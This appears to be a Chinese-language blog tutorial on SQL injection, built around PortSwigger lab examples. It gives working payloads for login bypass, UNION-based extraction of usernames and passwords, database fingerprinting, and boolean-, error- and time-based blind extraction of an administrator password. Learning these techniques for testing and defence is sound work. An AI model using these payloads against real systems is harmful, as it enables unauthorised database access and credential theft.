SQL注入逻辑(SQL injection),SQL注入需要哪些技术?

1、查询条件在URL中(GET 请求)

如果,用户筛选某个品类的物品时,程序生成的SQL 查询语句是类似这样的

SELECT * FROM products WHERE category = ‘Gifts’ AND released = 1

那么在URL中拼接如下字符:(把加号换成空格也可以)

http://domain.com/product?category=Gifts’+OR+1=1–

最终会生成一个这样的语句:

SELECT * FROM products WHERE category = ‘Gifts’ OR 1=1 --'AND released = 1

拼接的字符用在了,原语句的Gifts 和它后面的 ’之间,首先需要一个’,闭合前面的条件 category=‘Gifts’,再加一个 OR 逻辑,后面跟 永远为真的(True) 表达式 1=1 。

两个破折号–后面的内容会被解释成注释,而不再执行。在MYSQL中,两个破折号–后面要跟一个空格,或者用#也能注释。

语句将return(回显)满足WHERE 后所有条件的数据(物品信息),即当WHERE 后的表达式为真(True)时。

因为 1=1 永远为真值,所以category = ‘Gifts’ OR 1=1 永远为真,即WHERE 后的条件,永远为真,这就意味着任意一条数据都是满足查询条件的。
拼接后的语句将获取到所有物品信息,而不再仅限于Gifts类别。

2、绕过关键条件(颠覆应用逻辑)

如果程序,竟然是用如下的方式验证登录:

SELECT * FROM users WHERE username = ‘wiener’ AND password = ‘bluecheese’

在输入用户名wiener时 在其后面加上’–,语句就变成:

SELECT * FROM users WHERE username = ‘wiener’–’ AND password = ‘bluecheese’

无论密码输入什么,都可能登录成功。

3、关联它表数据查询(UNION attack)

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

在这里,UNION 前面的内容是 程序原有的查询逻辑,UNION后面的是,拼接的额外查询,两个SELECT查出来的内容会拼在一起,所以,前后两个SELECT查询的列数要相等,即,第一个SELECT 查 a、b两列,那第二个SELECT 要查的列数也得是两列c、d。

还有另外一个问题,两个查询的目标列a、b、c、d,a与c类型要一致,b和d类型要一致,即,对应的要拼接在一起的列的数据类型要一致,或者兼容。

第二个SELECT,如果不想查那么多列,可以用指定内容占位,比如用1占位(如下所示,第二个SELECT,第二列的结果都将显示为1。这有个前提是第一个查询的b列也得是整型,否则因为数据类型不一致也会出错,所以通常是用NULL 占位,NULL和每一种数据类型都不冲突。)

SELECT a, b FROM table1 UNION SELECT c, 1 FROM table2

确认原始查询语句返回的列数(确认SQL注入时,所需列数)

方法1:注入ORDER BY number

如果注入的位置前面是一个 字符串,注入:

’ ORDER BY 3–

不要忘了后面加–,因为注入的时候加了一个’,所以后面会有一个多余的分号 ’ 必须要注释掉。

ORDER BY 的功能是,对查询结果排序,BY后面可以指定列名,也可以指定列序号,即是按第一列排序,还是按第二列排序…。

如果指定,按结果的第四列排序,但是查询结果只有三列的话,可能会报错,这要看实际情况,或者这么说,用于排序的列,有没有超出结果范围,程序的反应会不一样。可以据此推断,原始语句查询并返回了多少列数据。

方法2:注入UNION SELECT NULL,NULL,NULL–

NULL的个数如果超出了,NUION前面的那个SELECT所查询的列数,可能会报错:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

但也有可能不这么明显。同样的道理,超出列数和没有超出列数,程序的反应会不一样。

确认原始查询语句,哪一列的数据类型可以被利用

可以进行UNION attack的原因,就是可以通过注入的语句获取信息。
在已知查询列数的情况下,可以注入UNION SELECT来探测那一列是字符串类型兼容的。

’ UNION SELECT ‘a’,NULL,NULL,NULL–
’ UNION SELECT NULL,‘a’,NULL,NULL–
’ UNION SELECT NULL,NULL,‘a’,NULL–
’ UNION SELECT NULL,NULL,NULL,‘a’–

获取敏感信息

如果已知另外一个users表,并且已知列名username、password,就可以注入如下内容获取敏感信息了。

’ UNION SELECT username, password FROM users–

那如何知道数据库,其他表名,以及该表的列名呢?关于数据库的信息如何搜集呢?

获取数据库的版本信息:

Database type | Query
Microsoft, MySQL==> SELECT @@version
Oracle==> SELECT banner FROM v$ version 或者 SELECT version FROM v$instance
PostgreSQL==> SELECT version()

获取数据库table,以及列名

Oracle==>
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’

Microsoft==>
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’

PostgreSQL==>
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’

MySQL==>
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’

多列合并成一列

假设,程序的原始语句返回的列数不够用,或者只有一列和字符串兼容。。。
我们可以将两列的值(value)拼在一起(为了方便区分,两列中间可以拼接其他字符以便区分,例如: ‘foo’||‘~’||‘bar’、‘foo’+‘=’+‘bar’)

Oracle==> ‘foo’||‘bar’
Microsoft==> ‘foo’+‘bar’
PostgreSQL==> ‘foo’||‘bar’
MySQL==> ‘foo’ ‘bar’ [Note the space between the two strings]
CONCAT(‘foo’,‘bar’)

4、盲注

根据程序的反应/响应(response),判断是否有注入

以上的所有注入,几乎都依赖数据回显,就是说页面显示了查询结果或者错误信息。
如果没有这些信息该怎么办呢?

即便不返回查询结果,也不显示错误,但还是可以通过添加条件句(布尔逻辑)改变逻辑,进而改变应用程序的行为,进而推断出是否有注入漏洞。

首先判断条件为真或为假时,程序的行为有何不同。
确认了差异之后,注入特定SQL,并判断其是否为真。

例如原始的查询语句为:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = ‘u5YD3PapBcR4lN3e7Tj4’
(TrackingId = u5YD3PapBcR4lN3e7Tj4,为cookie数据)

’ AND ‘1’='1
’ AND ‘1’='2

分别加上这两个条件,观察应用程序的行为是否有不同,若有不同,则有漏洞可利用。

如下图,注入的位置在Cookie头中。

注入’ AND ‘1’='1,原始语句会变成:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = ‘u5YD3PapBcR4lN3e7Tj4’ AND ‘1’=‘1’
(‘1’='1’永远为真,where后的 整个语句为真,即整个条件句的布尔值没有改变,程序的表现和没有注入时一样)

注入’ AND ‘1’='2,原始语句会变成:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = ‘u5YD3PapBcR4lN3e7Tj4’ AND ‘1’=‘2’
(‘1’='2’永远为假,where后的 整个语句为假,改变了整个条件的布尔值,程序的表现和没有注入时不一样)


综上,AND 后的表达式,如果为真,那么程序的行为和没有注入时一样;如果为假,程序的行为和没有注入时一样(具体有啥不一样,可能要看具体的程序,需要观察。)

下一步就是更换 AND 后面的表达式,判断更换后的表达式是否为真,如果为真,那么程序的行为应该和使用 ’ AND ‘1’='1 注入时一样。

’ AND (SELECT ‘a’ FROM users LIMIT 1)='a

如果这个表达式为真,那么select 语句一定得到了一个’a‘值(结果),这样才有’a‘=‘a’,才能为真,既然select语句有了结果,那么所查询的表一定是存在的,即存在一个users表,这样就收集到了一个重要信息:存在users表!
同理修改注入:

’ AND (SELECT ‘a’ FROM users WHERE username=‘administrator’)='a

如果这个表达式为真,,那么select 语句一定得到了一个’a‘值(结果),这样才有’a‘=‘a’,才能为真,既然select语句有了结果,那where后的条件一定是被满足了,也就是有一个username='administrator’的账号。这样就又收集到一个重要信息:存在账号administrator。

下一步,确定该账号的密码长度:

’ AND (SELECT ‘a’ FROM users WHERE username=‘administrator’ AND LENGTH(password)>1)='a

同理,如果这个表达式为真,where后的条件都可以被满足。where后是两个条件,以AND连接,是且的关系,两个条件须同时满足,整个where句才能为真。

修改 LENGTH(password)>1,为LENGTH(password)>2,如果还为真,说明密码长度大于2,以此类推,修改为LENGTH(password)>20,如果此时条件句为假了,说明密码长度只能小于等于20了,为了进一步确认,修该为LENGTH(password)=20,如果此时为真,就百分之百确定密码长度为20。(这一步,可以用burp suite的intruder工具测试)

在这里插入图片描述

确认了密码长度后,假设长度为20,下一步就是确认20为密码分别对应那些字符。

’ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username=‘administrator’)='a

这个表达式,是取出administrator密码的第一位(SUBSTRING(password,1,1) ,提取子字符串,第一个1,是指密码的第一位,第二个1是位数,只取一位。)

我们的试验里,密码是由26位小写字母和阿拉伯数字组成。一共有20*36=720种可能性。使用工具测试。

按位枚举密码
在这里插入图片描述
至此因为一个SQL注入漏洞,我们获取了管理员账号和密码!过程有些复杂吗?这种漏洞值钱啊!不要慌盲注还没有完!

以上的例子有什么问题吗?依赖可供观察的response对不对?如果不管注入的条件真假,response都正常返回,都一模一样怎么办?下面的方法是想办法让response不一样。

主动触发错误提示

’ AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE ‘a’ END)='a
’ AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE ‘a’ END)='a

括号里CASE 表达式,会得到一个值,要么是1/0,要么是’a’,如果WHEN 后面的条件为真,则取THEN后面的值,如果WHEN条件为假,则取ELSE 后面的值,后面的END是CASE表达式的一部分,表示该表达式结束。

第一个,WHEN (1=2)为假,所以case表达式结果为’a’,’ AND ‘a’='a 为真,对原始逻辑没有影响。
第二个,WHEN (1=1)为真,所以case表达式结果为1/0,表示1除以0,会触发一个错误:divide-by-zero erro,因为除数不能为零。

如果这两个注入,使应用程序返回的 HTTP response不一样的话,我们就可以利用这个差异,来收集信息。通过程序的错误提示,让我们知道注入的表达式为真。我们要做的就是改变WHEN里的表达式,注入我们需要判断的表达式。

’ || (SELECT ‘’) || ’
’ || (SELECT ‘’ FROM dual) || ’

在这里插入图片描述
这两个注入,如果第一个注入触发了错误,第二个却没有,说明数据库是Oracle,因为Oracle的每个select 都需要加 from 表名。

‘||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=‘administrator’)||’

这个注入是什么原理呢?如果 WHERE username=‘administrator’ 没有结果的话,就是说没有这条数据的话,不会走CASE 语句,没有任何异常。如果有administrator的话,开始执行case when ,1=1一定为真,所以执行TO_CHAR(1/0) 触发报错。

‘||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=‘administrator’)||’

现在已知有administrator了,如果LENGTH(password)>2 为真,就会触发报错。一直试,LENGTH(password)>20 的时候不再报错了,密码为20位。 burp suite的测试如下图:
在这里插入图片描述

‘||(SELECT CASE WHEN SUBSTR(password,1,1)=‘a’ THEN TO_CHAR(1/0) ELSE ‘’ END FROM users WHERE username=‘administrator’)||’

这里用SUBSTR(password,1,1)=‘a’,而不是SUBSTRING,前面提到这个例子用的数据库是Oracle(下面是不同数据库提取子字符串的方法)。

Oracle==> SUBSTR(‘foobar’, 4, 2)
Microsoft==> SUBSTRING(‘foobar’, 4, 2)
PostgreSQL==> SUBSTRING(‘foobar’, 4, 2)
MySQL==> SUBSTRING(‘foobar’, 4, 2)

这里的密码依然是由字母和数字组成。依次测试密码的每一位,这个条件 SUBSTR(password,1,1)=‘a’ ,验证密码的第一位是不是字母a。以此类推。
如下图是burp suite 测试示意图

在这里插入图片描述

下面是几个,条件为真时,触发错误的方法:

Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END

PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)

MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’)

如果错误信息非常详尽的话,事情也会变得简单:

在这里插入图片描述

'AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)–

cast()函数的功能是,将值转换成指定数据类型。语法是 CAST(expression AS datatype(length))。
这个例子是,从users表取第一行的 username,将其转换成整数(int)。因为用户名里是有字母,触发报错了。如下图,暴露了用户名,同样的方法可以获得用户的密码。
在这里插入图片描述
好了,关于触发报错的差不多了。

如果没有报错呢,报错不往前端发,该怎么办呢?

触发延迟,看延迟是否生效,判断是否有注入可能。

各数据库延迟的办法:

Oracle==> dbms_pipe.receive_message((‘a’),10)
Microsoft==> WAITFOR DELAY ‘0:0:10’
PostgreSQL==> SELECT pg_sleep(10)
MySQL==> SELECT SLEEP(10)

'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END–

上面这个会产生延迟,下面这个则不会,这个逻辑测试的时候把1=1改成1=2就好了。

'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END–

'%3BSELECT+CASE+WHEN+(username=‘administrator’)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users–

这个语句,若是发生延迟了,说明存在administrator。

‘%3BSELECT+CASE+WHEN+(username=‘administrator’+AND+SUBSTRING(password,§1§,1)=’§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users–

因为只是延迟,response 长度没有任何变化,code也都一样。所以需要对 burp suite的intruder工具做个设置,方便识别有延迟的和没有延迟的response。
在这里插入图片描述

参考连接:https://portswigger.net/web-security/sql-injection

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值